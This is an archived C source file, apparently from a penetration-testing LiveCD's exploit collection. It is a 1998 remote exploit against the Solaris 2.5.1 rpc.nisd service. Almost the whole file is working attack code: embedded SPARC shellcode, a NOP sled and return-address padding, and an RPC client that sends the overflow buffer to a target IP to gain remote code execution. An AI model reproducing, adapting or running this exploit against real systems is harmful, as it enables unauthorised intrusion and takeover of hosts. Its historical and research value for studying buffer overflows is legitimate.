home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / nisd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  166 lines

  1. /*
  2.  * rpc.nisd live exploit.
  3.  *
  4.  * Copyright (C) 1998 ISS, Inc.
  5.  *     All Rights Reserved.
  6.  *
  7.  * THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ISS
  8.  * The copyright notice above does not evidence any
  9.  * actual or intended publication of such source code.
  10.  *
  11.  * This code can be very dangerous if put in the wrong hands.
  12.  * Do not distribute.
  13.  *
  14.  * Josh Daymont March 1998
  15.  */
  16.  
  17. /* This works on:
  18.  * Solaris 2.5.1/sparc
  19.  * Note: Will *not* work on 2.6 (2.6 still doesn't check string lengths
  20.  *       while XDR'ing, but I'm unable to overrun anything, need to
  21.  *       investigate further)
  22.  *       Untested against 2.5.  Probably won't work against anything earlier.
  23.  */
  24.  
  25. /* This should compile cleanly on:
  26.  * Solaris 2.5.1/sparc
  27.  * Solaris 2.6/sparc
  28.  * Note: all most other modern systems need is /usr/include/rpcsvc/nis.x
  29.  *       and nisd_object.x from solaris.  Rpcgen these and stick them
  30.  *       somewhere on the include path.
  31.  */
  32.  
  33. #include <sys/types.h>
  34. #include <sys/time.h>
  35. #include <sys/socket.h>
  36. #include <netinet/in.h>
  37. #include <rpc/rpc.h>
  38. #include <rpcsvc/nis.h>
  39. #include <rpcsvc/nis_object.h>
  40.  
  41. #define BUFLEN  (348)
  42. #define ADDRFILL (2000)
  43. #define SPARC_NOP       (0xa61cc013)
  44. #define THEADDR (0xefffce50 - 1000)
  45.  
  46.  
  47. u_char sparc_shellcode[] =
  48.   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
  49.   "\x9c\x03\xbf\x38\x90\x0b\x80\x0e\x92\x03\xa0\x68\x94\x1a\x80\x0a"
  50.   "\x9c\x03\xa0\xc8\xec\x3b\xbf\x38\xc0\x23\xbf\x40\x2d\x0b\x58\xff"
  51.   "\xec\x23\xbf\x44\xc0\x33\xbf\x46\x2d\x19\x58\xda\xac\x15\xa0\x6f"
  52.   "\x2d\x1b\x48\x1d\xac\x15\xa0\x63\x2f\x1c\x08\x1b\xae\x15\xe2\x6f"
  53.   "\xac\x15\xa3\x68\x2f\x09\xc8\x0f\xae\x15\xe2\x20\xec\x3b\xbf\x70"
  54.   "\x2d\x0b\xdd\x1b\xac\x15\xa1\x70\x2f\x0b\xde\x1c\xae\x15\xe0\x30"
  55.   "\xac\x15\xa0\x73\x2f\x1d\x1c\x99\xae\x15\xe1\x61\xec\x3b\xbf\x50"
  56.   "\x2f\x08\x09\xdb\xae\x15\xe0\x69\xec\x3b\xbf\x48\x2d\x1b\x9a\xc8"
  57.   "\xec\x3b\xbf\x58\x2d\x1d\xd8\x5a\xac\x15\xa1\x74\x2f\x08\x1c\x9b"
  58.   "\xae\x15\xe3\x6f\xec\x3b\xbf\x60\x2d\x1d\x08\x0b\xac\x15\xa3\x62"
  59.   "\x2f\x1a\x5b\x8b\xae\x15\xe3\x73\xec\x3b\xbf\x68\x2d\x1a\x08\x1c"
  60.   "\xac\x15\xa3\x20\x2f\x0b\xdd\x1b\xae\x15\xe1\x70\xe5\x3b\xbf\x90"
  61.   "\x2d\x0b\xde\x1c\xac\x15\xa0\x30\xec\x23\xbf\x98\xc0\x23\xbf\x9c"
  62.   "\xac\x03\xbf\x38\xec\x23\xbf\xa0\xac\x03\xbf\x44\xec\x23\xbf\xa4"
  63.   "\xac\x03\xbf\x48\xec\x23\xbf\xa8\xc0\x23\xbf\xac\x82\x10\x20\x3b"
  64.   "\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  65.  
  66.  
  67.  
  68.  
  69. bool_t
  70. xdr_nis_name(xdrs, objp)
  71. register XDR *xdrs;
  72. nis_name *objp;
  73. {
  74.  
  75.   register long *buf;
  76.  
  77.   if (!xdr_string(xdrs, objp, ~0))
  78.     return (FALSE);
  79.   return (TRUE);
  80. }
  81.  
  82. bool_t
  83. xdr_nis_error(xdrs, objp)
  84. register XDR *xdrs;
  85. nis_error *objp;
  86. {
  87.  
  88.   register long *buf;
  89.  
  90.   if (!xdr_enum(xdrs, (enum_t *)objp))
  91.     return (FALSE);
  92.   return (TRUE);
  93. }
  94.  
  95.  
  96.  
  97. int main(int argc, char **argv)
  98. {
  99.   char *buffer;
  100.   int i;
  101.   u_long *lp;
  102.   CLIENT *cl;
  103.   struct sockaddr_in saddr;
  104.   struct timeval tv;
  105.   struct hostent *hp;
  106.   int sock=RPC_ANYSOCK;
  107.   enum clnt_stat clstat;
  108.   nis_error nerr;
  109.  
  110.   if(argc != 2)
  111.     {
  112.       printf("Usage: ./nisd Target-IP\n");
  113.       exit(0);
  114.     }
  115.  
  116.   buffer = (char *)malloc(BUFLEN+ADDRFILL+100);
  117.   if (buffer == NULL)
  118.     {
  119.       perror(argv[0]);
  120.       return 1;
  121.     }
  122.  
  123.   for (lp=(u_long *)buffer;lp < (u_long *) &buffer[BUFLEN-strlen(sparc_shellcode)];*lp++ = (u_long)SPARC_NOP)
  124.     /* do nothing */;
  125.  
  126.   memcpy(&buffer[BUFLEN-strlen(sparc_shellcode)], sparc_shellcode, strlen(sparc_shellcode));
  127.  
  128.   for (lp=(u_long *)&buffer[BUFLEN];lp<(u_long *)&buffer[BUFLEN+ADDRFILL];*lp++ = (u_long)THEADDR)
  129.     /* do nothing */;
  130.  
  131.   buffer[BUFLEN+ADDRFILL] = '.';
  132.   buffer[BUFLEN+ADDRFILL+1] = '\0';
  133.  
  134.   lp = (u_long *)(buffer + 1236);
  135.  
  136.   *lp = THEADDR + 1000 + 100;
  137.  
  138.   if ((hp = gethostbyname (argv[1])) == NULL)
  139.     {
  140.       printf ("Couldnt resolve %s!\n", argv[1]);
  141.       exit (-1);
  142.     }
  143.  
  144.   saddr.sin_family = AF_INET;
  145.   saddr.sin_port = 0;
  146.   saddr.sin_addr.s_addr = hp;
  147.  
  148.   tv.tv_sec = 5;
  149.   tv.tv_usec = 0;
  150.  
  151.   cl = (CLIENT *)clntudp_create(&saddr, 100300, 3, tv, &sock);
  152.  
  153.   if (cl == NULL)
  154.     {
  155.       clnt_pcreateerror(argv[0]);
  156.       return 1;
  157.     }
  158.  
  159.   clstat = clnt_call(cl, 22, xdr_nis_name, (caddr_t)&buffer, xdr_nis_error, (caddr_t)&nerr, tv);
  160.  
  161.   printf("clstat %d\n", clstat);
  162.  
  163.   if (clstat == RPC_SUCCESS)
  164.     printf("nerr %d\n", nerr);
  165. }
  166. /*                    www.hack.co.za              [2000]*/